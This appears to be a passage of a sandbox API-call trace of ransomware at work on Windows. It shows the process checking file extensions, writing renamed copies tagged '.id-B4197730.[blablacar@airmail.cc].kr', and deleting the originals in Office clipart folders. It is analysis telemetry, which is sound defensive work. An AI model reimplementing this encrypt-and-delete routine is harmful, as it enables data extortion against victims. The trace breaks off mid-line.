[0184.233] lstrlenW (lpString=".bz2") returned 4 [0184.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.233] lstrlenW (lpString=".7z") returned 3 [0184.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString=".dbf") returned 4 [0184.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString=".1cd") returned 4 [0184.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString=".jpg") returned 4 [0184.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString=".doc") returned 4 [0184.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString=".docx") returned 5 [0184.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.234] lstrlenW (lpString=".pdf") returned 4 [0184.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString=".xls") returned 4 [0184.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.234] lstrlenW (lpString=".xlsx") returned 5 [0184.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.234] lstrlenW (lpString=".ppt") returned 4 [0184.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.234] lstrlenW (lpString=".zip") returned 4 [0184.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.234] lstrlenW (lpString=".rar") returned 4 [0184.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString=".bz2") returned 4 [0184.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.234] lstrlenW (lpString=".7z") returned 3 [0184.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.235] lstrlenW (lpString=".dbf") returned 4 [0184.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.235] lstrlenW (lpString=".1cd") returned 4 [0184.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.235] lstrlenW (lpString=".jpg") returned 4 [0184.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.235] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.235] lstrlenW (lpString="BS00443_.WMF") returned 12 [0184.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.235] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1676) returned 1 [0184.235] CloseHandle (hObject=0x518) returned 1 [0184.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0184.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.236] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.236] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0184.237] GetLastError () returned 0x0 [0184.237] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x68c, lpOverlapped=0x0) returned 1 [0184.238] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x690, lpOverlapped=0x0) returned 1 [0184.239] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.239] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.239] SetEndOfFile (hFile=0x4d4) returned 1 [0184.239] CloseHandle (hObject=0x4d4) returned 1 [0184.239] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.239] SetEndOfFile (hFile=0x518) returned 1 [0184.242] CloseHandle (hObject=0x518) returned 1 [0184.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0184.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.243] lstrlenW (lpString=".doc") returned 4 [0184.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString=".docx") returned 5 [0184.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.243] lstrlenW (lpString=".pdf") returned 4 [0184.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString=".xls") returned 4 [0184.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.243] lstrlenW (lpString=".xlsx") returned 5 [0184.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.243] lstrlenW (lpString=".ppt") returned 4 [0184.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.243] lstrlenW (lpString=".zip") returned 4 [0184.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.243] lstrlenW (lpString=".rar") returned 4 [0184.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.243] lstrlenW (lpString=".bz2") returned 4 [0184.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".7z") returned 3 [0184.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString=".dbf") returned 4 [0184.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString=".1cd") returned 4 [0184.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString=".jpg") returned 4 [0184.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString=".doc") returned 4 [0184.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".docx") returned 5 [0184.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.244] lstrlenW (lpString=".pdf") returned 4 [0184.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".xls") returned 4 [0184.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.244] lstrlenW (lpString=".xlsx") returned 5 [0184.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.244] lstrlenW (lpString=".ppt") returned 4 [0184.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.244] lstrlenW (lpString=".zip") returned 4 [0184.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.244] lstrlenW (lpString=".rar") returned 4 [0184.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.244] lstrlenW (lpString=".bz2") returned 4 [0184.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.245] lstrlenW (lpString=".7z") returned 3 [0184.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.245] lstrlenW (lpString=".dbf") returned 4 [0184.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.245] lstrlenW (lpString=".1cd") returned 4 [0184.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0184.245] lstrlenW (lpString=".jpg") returned 4 [0184.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.245] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.245] lstrlenW (lpString="BS00444_.WMF") returned 12 [0184.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.246] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3896) returned 1 [0184.246] CloseHandle (hObject=0x518) returned 1 [0184.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0184.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.247] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.247] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0184.248] GetLastError () returned 0x0 [0184.248] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xf38, lpOverlapped=0x0) returned 1 [0184.249] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xf40, lpOverlapped=0x0) returned 1 [0184.250] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.250] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.250] SetEndOfFile (hFile=0x4d4) returned 1 [0184.250] CloseHandle (hObject=0x4d4) returned 1 [0184.250] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.250] SetEndOfFile (hFile=0x518) returned 1 [0184.257] CloseHandle (hObject=0x518) returned 1 [0184.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.258] lstrlenW (lpString=".doc") returned 4 [0184.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString=".docx") returned 5 [0184.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.258] lstrlenW (lpString=".pdf") returned 4 [0184.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString=".xls") returned 4 [0184.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.258] lstrlenW (lpString=".xlsx") returned 5 [0184.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.258] lstrlenW (lpString=".ppt") returned 4 [0184.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.258] lstrlenW (lpString=".zip") returned 4 [0184.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.258] lstrlenW (lpString=".rar") returned 4 [0184.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString=".bz2") returned 4 [0184.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString=".7z") returned 3 [0184.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.258] lstrlenW (lpString=".dbf") returned 4 [0184.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.258] lstrlenW (lpString=".1cd") returned 4 [0184.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString=".jpg") returned 4 [0184.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString=".doc") returned 4 [0184.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString=".docx") returned 5 [0184.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.259] lstrlenW (lpString=".pdf") returned 4 [0184.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString=".xls") returned 4 [0184.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.259] lstrlenW (lpString=".xlsx") returned 5 [0184.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.259] lstrlenW (lpString=".ppt") returned 4 [0184.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString=".zip") returned 4 [0184.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.259] lstrlenW (lpString=".rar") returned 4 [0184.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString=".bz2") returned 4 [0184.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString=".7z") returned 3 [0184.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString=".dbf") returned 4 [0184.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.259] lstrlenW (lpString=".1cd") returned 4 [0184.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0184.260] lstrlenW (lpString=".jpg") returned 4 [0184.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.260] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.260] lstrlenW (lpString="BS00445_.WMF") returned 12 [0184.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.403] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3796) returned 1 [0184.403] CloseHandle (hObject=0x500) returned 1 [0184.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0184.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.404] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.404] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.404] GetLastError () returned 0x0 [0184.404] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xed4, lpOverlapped=0x0) returned 1 [0184.406] WriteFile (in: hFile=0x518, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xee0, lpOverlapped=0x0) returned 1 [0184.407] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.407] WriteFile (in: hFile=0x518, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.407] SetEndOfFile (hFile=0x518) returned 1 [0184.407] CloseHandle (hObject=0x518) returned 1 [0184.407] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.408] SetEndOfFile (hFile=0x500) returned 1 [0184.410] CloseHandle (hObject=0x500) returned 1 [0184.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0184.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.411] lstrlenW (lpString=".doc") returned 4 [0184.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.411] lstrlenW (lpString=".docx") returned 5 [0184.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.411] lstrlenW (lpString=".pdf") returned 4 [0184.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.411] lstrlenW (lpString=".xls") returned 4 [0184.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.411] lstrlenW (lpString=".xlsx") returned 5 [0184.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.412] lstrlenW (lpString=".ppt") returned 4 [0184.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString=".zip") returned 4 [0184.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.412] lstrlenW (lpString=".rar") returned 4 [0184.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString=".bz2") returned 4 [0184.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString=".7z") returned 3 [0184.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0184.412] lstrlenW (lpString=".dbf") returned 4 [0184.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.412] lstrlenW (lpString="C:\\Program 